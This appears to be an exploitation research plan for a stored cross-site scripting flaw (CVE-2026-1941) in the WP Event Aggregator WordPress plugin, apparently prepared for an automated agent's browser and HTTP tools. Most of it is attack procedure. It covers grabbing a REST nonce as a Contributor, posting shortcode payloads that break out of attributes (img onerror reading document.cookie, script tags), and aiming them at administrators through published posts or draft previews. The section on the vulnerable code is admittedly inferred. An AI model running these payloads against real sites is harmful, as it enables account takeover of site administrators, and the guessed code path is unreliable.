Exploitation Research Plan: CVE-2026-1941 - WP Event Aggregator XSS

1. Vulnerability Summary

The WP Event Aggregator plugin (versions <= 1.8.7) is vulnerable to Stored Cross-Site Scripting (XSS) via the [wp_events] shortcode. This occurs because user-supplied attributes within the shortcode are processed and rendered on the front-end without sufficient sanitization or output escaping. An authenticated user with Contributor permissions or higher can save a post containing a malicious shortcode, which will execute arbitrary JavaScript in the browser of anyone viewing that post.

2. Attack Vector Analysis

• Shortcode: [wp_events]
• Vulnerable Attributes: col, posts_per_page, category, past_events, order (and potentially others).
• Authentication: Contributor-level access is required (standard permission to create/edit posts).
• Injection Point: The content area of any Post, Page, or Custom Post Type.
• Preconditions: The plugin must be active.

3. Code Flow

1. Registration: In includes/class-wp-event-aggregator-cpt.php, the shortcode is registered:

   add_shortcode('wp_events', array( $this, 'wp_events_archive' ) );
   

2. Processing: When a post is rendered, WordPress calls the wp_events_archive() method in the WP_Event_Aggregator_Cpt class.
3. Attribute Handling (Inferred): The method uses shortcode_atts() to extract attributes like col, category, etc.
4. Sink (Inferred): These attributes are then used to build HTML (likely as class names or data attributes) and returned to be displayed. The code fails to use esc_attr() or esc_html() before returning the string. For example:

   // Conceptual vulnerable code inside wp_events_archive
   $output .= '<div class="wpea-events-grid col-' . $atts['col'] . '">'; 
   

   An attacker can use col='"><script>alert(1)</script>' to break out of the HTML attribute and inject a script.

4. Nonce Acquisition Strategy

This vulnerability does not involve a custom plugin AJAX endpoint for the injection itself; rather, it leverages the standard WordPress post-saving mechanism.

To perform the injection as a Contributor:

1. Standard Post Creation: A Contributor uses the WordPress REST API or the Classic/Block Editor.
2. Nonce: To save a post via the REST API, a wp_rest nonce is required. This is typically found in the wp-admin area.
3. Extraction:
   • Navigate to /wp-admin/post-new.php using browser_navigate.
   • Extract the REST nonce using browser_eval("wpApiSettings.nonce").

5. Exploitation Strategy

The goal is to create a post as a Contributor containing a payload that triggers when viewed by an Administrator.

Step 1: Authentication & Nonce

• Authenticate as a Contributor.
• Obtain a REST API nonce from the admin dashboard.

Step 2: Post Creation (Injection)

• Send a POST request to /wp-json/wp/v2/posts to create a new post.
• Header: X-WP-Nonce: [NONCE_FROM_STEP_1]
• Body (JSON):

  {
    "title": "Event Schedule",
    "content": "[wp_events col='\"><img src=x onerror=alert(document.cookie)>' category='test']",
    "status": "publish"
  }
  

  Note: Contributors can often publish posts depending on site settings, or save them as "pending" for an Admin to review. Both trigger the XSS in the editor or on preview.

Step 3: Triggering

• Access the newly created post URL.
• The attribute col will render as <div class="... col-"><img src=x onerror=alert(document.cookie)>">.

6. Test Data Setup

1. Plugin Installation: Ensure wp-event-aggregator version 1.8.7 is installed and activated.
2. User Creation: Create a user with the contributor role.

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

3. Events (Optional): Create at least one event category and event to ensure the shortcode rendering logic is fully exercised.

   wp term create event_category "Test Category" --slug=test
   wp post create --post_type=wp_events --post_title="Sample Event" --post_status=publish
   wp post term set [POST_ID] event_category test
   

7. Expected Results

• The http_request to create the post should return a 201 Created status.
• Navigating to the post URL (as an Admin or any user) should trigger the alert(document.cookie) payload.
• In the page source, the injected HTML should look similar to:
  ... class="... col-"><img src=x onerror=alert(document.cookie)>" ...

8. Verification Steps

1. Database Check: Verify the post content exists in the database.

   wp post list --post_type=post --fields=post_content --title="Event Schedule"
   

2. Front-end Check: Use the http_request tool (GET) to fetch the post content and search for the unescaped payload string.

   # Search for the breaking sequence in the rendered HTML
   grep 'col-"><img src=x onerror=alert(document.cookie)>"'
   

9. Alternative Approaches

• Attribute: category
  If col is sanitized, try the category attribute:
  [wp_events category='"><script>alert(1)</script>']
• Gutenberg Block:
  Since the plugin supports Gutenberg, if the shortcode block is restricted, use the plugin's specific Gutenberg block (if available in the Free version) which likely uses the same vulnerable rendering function internally.
• Draft Preview:
  If the Contributor cannot publish, use the preview link (/post.php?post=[ID]&preview=true). This is a powerful attack vector against Admins who must preview pending content.